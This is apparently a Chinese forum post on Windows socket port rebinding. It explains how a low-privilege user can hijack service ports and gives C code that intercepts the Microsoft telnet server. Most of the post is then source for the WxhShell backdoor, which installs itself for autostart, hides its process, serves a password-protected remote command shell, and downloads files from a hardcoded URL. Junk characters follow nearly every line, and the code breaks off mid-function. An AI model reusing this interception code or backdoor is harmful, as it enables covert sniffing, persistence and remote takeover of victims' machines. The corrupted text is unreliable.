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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: u5,vchZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @_h=,g #@  
Lf8{']3  
  saddr.sin_family = AF_INET; g#5t8w  
I;mc:@R<  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Ej`G(  
RLDu5  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); t1aKq)?  
ay=f1<a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 b+71`aD0  
W#9LK Jj  
  这意味着什么?意味着可以进行如下的攻击: /NVyzM51V  
WVL\|y728s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 57$/Dn  
;ZZmX]kz,M  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) QX9['B<  
6 %T_;"hb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -"xC\R  
k:1|Z+CJ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _%aT3C}k  
H]Gj$P=k  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hud'@O"R+  
,9 .NMFn  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "+BuFhSLf  
PC)V".W 1  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PS??wlp7  
mpl^LF[  
  #include `P;uPQDzZ3  
  #include lq27^K  
  #include W1O m$S1  
  #include    @h7 i;Ok  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j,N,WtE  
  int main() I4zm{ 1g  
  { r / L  
  WORD wVersionRequested; l{_1`rC'  
  DWORD ret; &|Vzo@D(!  
  WSADATA wsaData; }z2K"eGt  
  BOOL val; E^m2:J]G  
  SOCKADDR_IN saddr; (DTkK5/%  
  SOCKADDR_IN scaddr; IPnx5#eB  
  int err; .~4DlT  
  SOCKET s; QST-!`]v  
  SOCKET sc; SwhArvS  
  int caddsize; e\]CZ5hs3  
  HANDLE mt; 0&2&F=fOa<  
  DWORD tid;   ]@sLX ek  
  wVersionRequested = MAKEWORD( 2, 2 ); x4@IK|CE  
  err = WSAStartup( wVersionRequested, &wsaData ); SvD:UG  
  if ( err != 0 ) { $yMNdBI[  
  printf("error!WSAStartup failed!\n"); x]:B3_qR  
  return -1; B{Lcx~  
  } |JCn=v@  
  saddr.sin_family = AF_INET; P/dT;YhL  
   kn6X I*  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <t.  w(?  
RSf*[2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); luO4ap]*  
  saddr.sin_port = htons(23); /I q6'oo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g U v`G  
  { b#_u.vP  
  printf("error!socket failed!\n"); +*$@ K'VL  
  return -1; rcjj( C  
  } `,FvYA"  
  val = TRUE; ]N1gzHaS  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |_wbxdq  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `"j_]  
  { :FI 4GR*?  
  printf("error!setsockopt failed!\n"); X FvPc  
  return -1; eX{Tyd{  
  } ixo?o]Xb`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Qx[ nR/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 C.{z+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n0=[N'Tw3  
j;i7.B"[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Dad*6;+N  
  { V?Ye^ -29  
  ret=GetLastError(); K#'{Ko  
  printf("error!bind failed!\n"); a(eUdGJ  
  return -1; hjY)W;  
  }  =u Ieur  
  listen(s,2); FtxmCIVIV~  
  while(1) bA3pDt).p  
  {  .tRWL!  
  caddsize = sizeof(scaddr); JUC62s#_z  
  //接受连接请求 {K+]^M  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $5#+;A'Q+  
  if(sc!=INVALID_SOCKET) :jljM(\  
  { cvQ MZ,p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >t}0o$\?E  
  if(mt==NULL) 4krK CD>|G  
  { YW)& IA2  
  printf("Thread Creat Failed!\n"); pL)o@-k#%  
  break; u6u1>  
  } fk:oCPo  
  } wr;8o*~  
  CloseHandle(mt); F /% 5 r{  
  } l+i9)Fc<i  
  closesocket(s); !3#*hL1fy  
  WSACleanup(); "]D2}E>U;  
  return 0; 6/eh~ME=  
  }   L&SlUXyt.c  
  DWORD WINAPI ClientThread(LPVOID lpParam)  -!z,t7!  
  { Ue)8g#  
  SOCKET ss = (SOCKET)lpParam; Z3 $3zyi  
  SOCKET sc; &5F@u IA  
  unsigned char buf[4096]; 7\1bq&a<  
  SOCKADDR_IN saddr; *%xmCP J  
  long num; `O|PP3S  
  DWORD val; or1D 6 *'  
  DWORD ret; &B5@\Hd;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 }[*BC5{>  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   o  w<.Dh  
  saddr.sin_family = AF_INET; ] 6rr;S  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); y9L:2f\  
  saddr.sin_port = htons(23); r(QjVLjj`k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) rN%aP-sa<  
  { :svRn9_8H  
  printf("error!socket failed!\n"); 5n'C6q "  
  return -1; m;d#*}n\p  
  } 7'9~Kx&+  
  val = 100; Iz<}>J B  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6Q.6  
  { Ad:)5R o  
  ret = GetLastError(); @SV.F  
  return -1; 7 -hSso.'  
  } 8_@#5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -h<Rby  
  { SMdQ,n1]  
  ret = GetLastError(); amK.H"  
  return -1; b:uMO N,H  
  } _A%8oY S  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) L0H kmaH  
  { N\OeWjA F  
  printf("error!socket connect failed!\n"); s'/ g:aJ  
  closesocket(sc); }+8w  
  closesocket(ss); OJ:iQ  
  return -1; A12#v,  
  } `:XrpD  
  while(1) sA u ;i  
  { n-7|{1U  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 W\?_o@d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 7Bhi72&6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 c`(]j w  
  num = recv(ss,buf,4096,0); g&30@D"  
  if(num>0) Gmi$Nl!~  
  send(sc,buf,num,0); oX9rpTi  
  else if(num==0)  D|[~Py  
  break; KC-q]  
  num = recv(sc,buf,4096,0); *VF UC:  
  if(num>0) P+Ta|-  
  send(ss,buf,num,0); (Wu_RXfCw_  
  else if(num==0) Q!<b"8V]  
  break; x;cjl6Acm  
  } x\m !3  
  closesocket(ss); M#Vl{ b  
  closesocket(sc); 9_mys}+  
  return 0 ; QDg\GA8|  
  } \y9( b  
@,RrAL }|  
?6gC;B  
========================================================== N!}r(Dd*  
i#M$i*H*A  
下边附上一个代码,,WXhSHELL  d!%:Ok  
nZbfc;da  
========================================================== b[3K:ot+  
:b&O{>M]Y  
#include "stdafx.h" 4Y[uqn[  
 S oY=  
#include <stdio.h> 1} {bHj  
#include <string.h> 4$oX,Q`#  
#include <windows.h> 8%s_~Yc  
#include <winsock2.h> A3C#w J  
#include <winsvc.h> S/? KC^JP  
#include <urlmon.h> !dVth)UV  
9I:H=5c  
#pragma comment (lib, "Ws2_32.lib") ! `yg bI.  
#pragma comment (lib, "urlmon.lib") 3rEBG0cf]  
ugtb`d{ Sl  
#define MAX_USER   100 // 最大客户端连接数 u~,@Zg87  
#define BUF_SOCK   200 // sock buffer 5__8+R  
#define KEY_BUFF   255 // 输入 buffer x>^r%<WbX  
p xrd D7  
#define REBOOT     0   // 重启 p2;-*D  
#define SHUTDOWN   1   // 关机 z (,%<oX  
fT-yY`  
#define DEF_PORT   5000 // 监听端口 X#$mBRK7  
,nJYYM   
#define REG_LEN     16   // 注册表键长度 /XG4O  
#define SVC_LEN     80   // NT服务名长度 iD)R*vnAi  
^@'LF T)  
// 从dll定义API oW*e6"<R7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jjgjeY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  xA DjQ%B  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .R/`Y)4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |@]`" k  
URq{#,~CT  
// wxhshell配置信息 HY.?? 5MH  
struct WSCFG { `b^eRnpR  
  int ws_port;         // 监听端口 15i8) 4h  
  char ws_passstr[REG_LEN]; // 口令 `Trpv$   
  int ws_autoins;       // 安装标记, 1=yes 0=no 7tgn"wK  
  char ws_regname[REG_LEN]; // 注册表键名 E"e<9  
  char ws_svcname[REG_LEN]; // 服务名 $= /.oh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5+<<:5_6l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Zb)j2Xgl  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 []D@"Bz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $okGqu8z.O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 0s"g%gq|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ppt`5F O  
>z*2Og#1  
}; ad).X:Qs  
kDM\IyM<\  
// default Wxhshell configuration v7+f@Z:N*  
struct WSCFG wscfg={DEF_PORT, `2S G{5o;  
    "xuhuanlingzhe", ALqP;/  
    1, /F;b<kIy8  
    "Wxhshell", {c|=L@/  
    "Wxhshell", %a;N)1/  
            "WxhShell Service", :zk69P3  
    "Wrsky Windows CmdShell Service", N-fGc?E  
    "Please Input Your Password: ", \e%H5W x  
  1, P%hi*0pwZ  
  "http://www.wrsky.com/wxhshell.exe", v:c_q]z#B  
  "Wxhshell.exe" hm=E~wv'L  
    }; x j6-~<  
_@[M0t}g_  
// 消息定义模块 (^-i[aJY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n22k<@y  
char *msg_ws_prompt="\n\r? for help\n\r#>"; KS($S( Fi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c0v;r4Jo#j  
char *msg_ws_ext="\n\rExit."; Jrp{e("9  
char *msg_ws_end="\n\rQuit."; F0O"rN{  
char *msg_ws_boot="\n\rReboot..."; 2)DrZI  
char *msg_ws_poff="\n\rShutdown..."; q| p6UL9  
char *msg_ws_down="\n\rSave to "; {FO>^~>l  
6$TE-l  
char *msg_ws_err="\n\rErr!"; KUG\C\z6=  
char *msg_ws_ok="\n\rOK!";  l`x;Og>a  
irSdqa/  
char ExeFile[MAX_PATH]; 7@R;lOzL3  
int nUser = 0; !BD+H/A.{  
HANDLE handles[MAX_USER]; l$$N~FN  
int OsIsNt; VU7x w  
k H Y  
SERVICE_STATUS       serviceStatus; ]+O];*T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; e;:~@cB,c  
P+!j[X^  
// 函数声明 &K@2kq,  
int Install(void); <X}@afS  
int Uninstall(void); l?:!G7ie  
int DownloadFile(char *sURL, SOCKET wsh); zG|}| //}  
int Boot(int flag); rt r0 d  
void HideProc(void); (P {o9  
int GetOsVer(void); V QE *B  
int Wxhshell(SOCKET wsl); 1df }gG  
void TalkWithClient(void *cs); +$Q33@F5l  
int CmdShell(SOCKET sock); E5.3wOE  
int StartFromService(void); LyM"  
int StartWxhshell(LPSTR lpCmdLine); ZSj^\JU  
Ky33h 0TX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); z}v6!u|iZu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Mq!03q6  
,>X +tEgR  
// 数据结构和表定义 y>T:fu  
SERVICE_TABLE_ENTRY DispatchTable[] = `z<k7ig  
{ qiQS:0|_  
{wscfg.ws_svcname, NTServiceMain}, qSh^|;2?R  
{NULL, NULL} Sns`/4S?6Z  
}; W)^0~[`i  
Gj]*_"T  
// 自我安装 hO3>Gl5<  
int Install(void) z_vFf0  
{ 1*aw~nY0  
  char svExeFile[MAX_PATH];  FVOR~z  
  HKEY key; !\.%^LK1  
  strcpy(svExeFile,ExeFile); [!E pv<G  
k 9 Xi|Yj  
// 如果是win9x系统,修改注册表设为自启动 F+r3~T%  
if(!OsIsNt) { zCxr]md  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $i&u\iL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "*O(3L.c-  
  RegCloseKey(key); epa)~/sA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fI@4 v\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &UtsI@Mu  
  RegCloseKey(key); {f;]  
  return 0; D6 B(6 5Y  
    } I%]L  
  } $Il?[4FF  
} 2Uf]qQ1  
else { a>jiq8d]4  
B.nq3;Y  
// 如果是NT以上系统,安装为系统服务 [ UN`~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )N!-g47o%#  
if (schSCManager!=0) ]Z?$ 5Ks  
{ ~3bn?'`  
  SC_HANDLE schService = CreateService K@u\^6419  
  ( Yoy}Zdu}h  
  schSCManager,  S^;D\6(r  
  wscfg.ws_svcname, A;E7~qOG  
  wscfg.ws_svcdisp, Y@'ug N|[C  
  SERVICE_ALL_ACCESS, l :\DC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , lI HSy  
  SERVICE_AUTO_START, Ht.0ug  
  SERVICE_ERROR_NORMAL, >q0c!,Ay  
  svExeFile, $ftcYBZa  
  NULL, [ix45xu7  
  NULL, .iFd  
  NULL, |7XV! D!\g  
  NULL, hawE2k0p(  
  NULL S~auwY,<  
  ); 6A$ \I44  
  if (schService!=0) };%l <Ui;  
  { FFGG6r  
  CloseServiceHandle(schService); _U<sz{6  
  CloseServiceHandle(schSCManager); NsYeg&>`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v^_OX $=,  
  strcat(svExeFile,wscfg.ws_svcname); H2oAek(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,<]X0;~oB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lTOO`g  
  RegCloseKey(key); S7SD$+fX  
  return 0; m:@-]U@ 6  
    } T^9k,J(rM  
  } rdd%"u+  
  CloseServiceHandle(schSCManager); SenDJv00  
} 8':^tMd  
} OEc$ro=m*  
:n36}VG|  
return 1; V6%J9+DK  
} Z3Le?cMt^  
|1vi kG8  
// 自我卸载 ^b-o  
int Uninstall(void) -DgJkyt+<  
{ gGl}~  
  HKEY key; qH(3Z^#.|  
871taL=  
if(!OsIsNt) { J{Fu8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X.V6v4  
  RegDeleteValue(key,wscfg.ws_regname); lc%2fVG-e  
  RegCloseKey(key); JGjqBuz#A*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nRKh|B)  
  RegDeleteValue(key,wscfg.ws_regname); 4?GW]'d  
  RegCloseKey(key); }r`m(z$z  
  return 0; &sJZSrk|  
  } <0!/7*;#ZT  
} ]<\Ft H  
} 8:V:^`KaSs  
else { 8t3,}}TJ  
"0al"?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R<>ptwy  
if (schSCManager!=0) }lZfZ?oAz  
{ k`H#u,&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v6B}ov[Y2  
  if (schService!=0) VFLxxFJ  
  { \OMWE/qMy  
  if(DeleteService(schService)!=0) { 83io@*D  
  CloseServiceHandle(schService); E:,V{&tLK  
  CloseServiceHandle(schSCManager); NEInro<  
  return 0; S+LE ASOr  
  } 1^<R2x  
  CloseServiceHandle(schService); We]mm3M3  
  } NijvFT$V1  
  CloseServiceHandle(schSCManager); ~Dsz9  f  
} Nrp0z:  
} RLkP)+t  
+m Plid\  
return 1; md8r"  
} %hcn|-" F  
oZ% rzLH  
// 从指定url下载文件 KtWn08D!  
int DownloadFile(char *sURL, SOCKET wsh) 5(F @KeH>  
{ e$krA!zN  
  HRESULT hr; 8sm8L\-  
char seps[]= "/"; 8 /3`rEW  
char *token; fh rS7f'Zd  
char *file; |q&&"SpA  
char myURL[MAX_PATH]; 59eq"08  
char myFILE[MAX_PATH]; P{qi>FJqe  
4RgEN!d?H  
strcpy(myURL,sURL); i@7b  
  token=strtok(myURL,seps); ,1-n=eTQ  
  while(token!=NULL) EC *rd  
  { 3R!?r^h  
    file=token; UOTM>d1P  
  token=strtok(NULL,seps); d^5OB8t  
  } kaBP& 6|Z  
"o+E9'Dm  
GetCurrentDirectory(MAX_PATH,myFILE); NE Br) ~  
strcat(myFILE, "\\"); ROZOX$XM  
strcat(myFILE, file); t;ZA}>/  
  send(wsh,myFILE,strlen(myFILE),0); aYIAy]*1e  
send(wsh,"...",3,0); SM3Q29XIw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i|zs Li/  
  if(hr==S_OK) %au2kG,  
return 0; U j5%06  
else :{za[,  
return 1; N5$IVz}  
.qBL.b_`  
} qcYF&  
y%* hHnGd  
// 系统电源模块 ~y@,d  
int Boot(int flag) yQ5F'.m9e  
{ `Mj>t(  
  HANDLE hToken; Y](kMNUSg  
  TOKEN_PRIVILEGES tkp; e C\;n  
di^E8egR$  
  if(OsIsNt) { j. 1@{H  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KjK.Sv{N  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m0XdIC]s  
    tkp.PrivilegeCount = 1; y#%*aV}|B  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6.X| . N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q/I':a[1  
if(flag==REBOOT) { 3C8cvi[IS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JO*}\Es  
  return 0; ,Jqi J?,4C  
} =pQ'wx|>|  
else { Uy8r !9O  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {FV_APL9_  
  return 0; Ja$Ple*XU8  
} &j4 1<A  
  } crx8+  
  else { 5X2&hG*  
if(flag==REBOOT) { TFrZ+CcWp2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  \*5`@>_  
  return 0; v[S>   
} Tk(ciwB  
else { ,{{e'S9cy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sxac( L  
  return 0; \F_~?$  
} -oSfp23u  
} mJjd2a"vi  
&p/ ^A[  
return 1; =u M2l  
} xl.iI$P  
{rp5qgVE<  
// win9x进程隐藏模块 :el]IH  
void HideProc(void) {*EA5;  
{ # tN#_<W  
`/WX!4eR,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); UZsn14xSA  
  if ( hKernel != NULL ) E038p]M!  
  { !3]}3jZ.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !3Xu#^Xxj  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +4<Ij/}p  
    FreeLibrary(hKernel); zR)9]pJ-  
  } KW&5&~)2  
y[ikpp#ozY  
return; tS1(.CRk  
} 'q+CL&D  
51:NL[[6  
// 获取操作系统版本 | Vl Q0{  
int GetOsVer(void) nYfZ[Q>v  
{ LP_w6fjT  
  OSVERSIONINFO winfo; Knd2s~S  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G5JZpB#o  
  GetVersionEx(&winfo); {yPJYF_l  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) B2}|b^'I  
  return 1; R?,Oh*  
  else %<4ZU!2L  
  return 0; 7 (}gs?&w  
} T@V<J'  
"RZV v~BD  
// 客户端句柄模块 ?`jh5Kw%y  
int Wxhshell(SOCKET wsl) Xbm\"g \  
{ n*7Ytz3#'  
  SOCKET wsh; x>Hg.%/c[  
  struct sockaddr_in client; 6gUcoDD  
  DWORD myID; &y164xn'h  
.i^aYbB$X  
  while(nUser<MAX_USER) 6xLLIby,  
{ '"# W!p  
  int nSize=sizeof(client); zUw=e}?:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); JqX+vRY;dd  
  if(wsh==INVALID_SOCKET) return 1; XeGtge/}T  
})zYo 7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lwY2zX&%)/  
if(handles[nUser]==0) t-, =sV  
  closesocket(wsh); U_1syaY!  
else #q[k"x=c  
  nUser++; *^]lFuX\&E  
  } Us5P?}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eiiI Wr_7  
ups] k?4  
  return 0; 2aROY2  
} 4T]n64Yid  
^ Tr )gik  
// 关闭 socket p3sR>ToJ  
void CloseIt(SOCKET wsh) 6xFvu7L_c;  
{ 3%"r%:fQB/  
closesocket(wsh); bV'^0(Zv  
nUser--; K6C@YY(  
ExitThread(0); z?9vbx  
}  BKiyog  
F_Pv\?35z  
// 客户端请求句柄 8efQ -^b.  
void TalkWithClient(void *cs) /hNZ7\|P  
{ @zz4,,]  
T B!z:n  
  SOCKET wsh=(SOCKET)cs; s]tBd !~  
  char pwd[SVC_LEN]; `pB]_"b  
  char cmd[KEY_BUFF]; Rn"Raq7Cn*  
char chr[1]; ZS@Gt  
int i,j; [;rty<Z^b  
nPAVrDg O  
  while (nUser < MAX_USER) { g~>g])  
#osP"~{  
if(wscfg.ws_passstr) { z2EZ0vZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -d|Q|zF^x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); L)0j&  
  //ZeroMemory(pwd,KEY_BUFF); b.Yl0Y  
      i=0; 1WArgR  
  while(i<SVC_LEN) { %fv;C  
]\fXy?2  
  // 设置超时 6 /A#P$G  
  fd_set FdRead; FCk4[qOp7  
  struct timeval TimeOut; |U~m8e&:  
  FD_ZERO(&FdRead); v2vPf b  
  FD_SET(wsh,&FdRead); QT!!KTf  
  TimeOut.tv_sec=8; ?1+JBl~/d  
  TimeOut.tv_usec=0; J\WUBt-M  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @|N'V"*MT  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); mX4u#$xs:  
Z= 'DV1A$,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "ggViIOw&  
  pwd=chr[0]; 2HxT+|~d6  
  if(chr[0]==0xd || chr[0]==0xa) { 88K=jo))b  
  pwd=0; {giKC)!  
  break; 3G4N0{i  
  } -uE2h[X|  
  i++; ??4#)n k  
    } `{1&*4!  
PT`];C(he  
  // 如果是非法用户,关闭 socket X^2Txm d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); E3p3DM0F$  
} u]D>O$_ s  
RB\0o,mw4  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~^6[SbVb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }qqE2;{ND  
Awip qDAu  
while(1) { ?u*gKI  
U',.'"m  
  ZeroMemory(cmd,KEY_BUFF); j@j%)CCM  
E[z8;A^:0  
      // 自动支持客户端 telnet标准   B4/0t:^I  
  j=0; F"#8`Ps>  
  while(j<KEY_BUFF) { AGH7z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tHvc*D  
  cmd[j]=chr[0]; t *8k3"  
  if(chr[0]==0xa || chr[0]==0xd) { x_C#ALq9  
  cmd[j]=0; -zzM!1@F  
  break; GzC=xXON  
  } R(i2TAaaU  
  j++; 0%K/gd#S<  
    } c*5y8k  
~If{`zWoC  
  // 下载文件 IQ&o%   
  if(strstr(cmd,"http://")) { +c8cyx:^f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9JG9;[  
  if(DownloadFile(cmd,wsh)) SkmLX@:(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); /SXms'C  
  else -<R"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L\:f#b~W  
  } SGZ]_  
  else { fs43\m4= m  
r35'U#VMk?  
    switch(cmd[0]) { ~miRnW*x  
  o(2tRDT\_b  
  // 帮助 P ~pC /z  
  case '?': { &ye,A(4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wRc=;f  
    break; Up(Jw-.  
  } Rk1B \L|M  
  // 安装 >N&C-6W  
  case 'i': { QGWfF,q  
    if(Install()) oAMB}a;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Mujx3Fmvx  
    else <@Lw '  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h-^7cHI}  
    break; L>,j*a_[  
    } @YH<Hc  
  // 卸载 CL~21aslI  
  case 'r': { \:ELO[(#|{  
    if(Uninstall()) 'CrBxaA]s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &$'=SL(Z  
    else LC!ZeW35  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k Xs&k8  
    break; uv:DO6 {  
    } JOR ? xCc  
  // 显示 wxhshell 所在路径 g_2m["6*  
  case 'p': { )2U#<v^  
    char svExeFile[MAX_PATH]; WWO@ULGY  
    strcpy(svExeFile,"\n\r"); !A.Kb74  
      strcat(svExeFile,ExeFile); ]h Dy]  
        send(wsh,svExeFile,strlen(svExeFile),0); Bn[5M [  
    break; -:5]*zVp+-  
    } S`!MoIMsD  
  // 重启 6Y#V;/gK!5  
  case 'b': { 4z~%gt74O]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &HPzm6.3  
    if(Boot(REBOOT)) 33R_JM{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /,>@+^1  
    else { ""j(wUp-W  
    closesocket(wsh); >=|;2*9v  
    ExitThread(0); ?z:Xdx\l  
    } ,| \62B`  
    break; -nC 5  
    } OT & mNE4  
  // 关机 X(b"b:j'  
  case 'd': { E !a5-SrR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); if S) < t  
    if(Boot(SHUTDOWN)) JD\:bI  
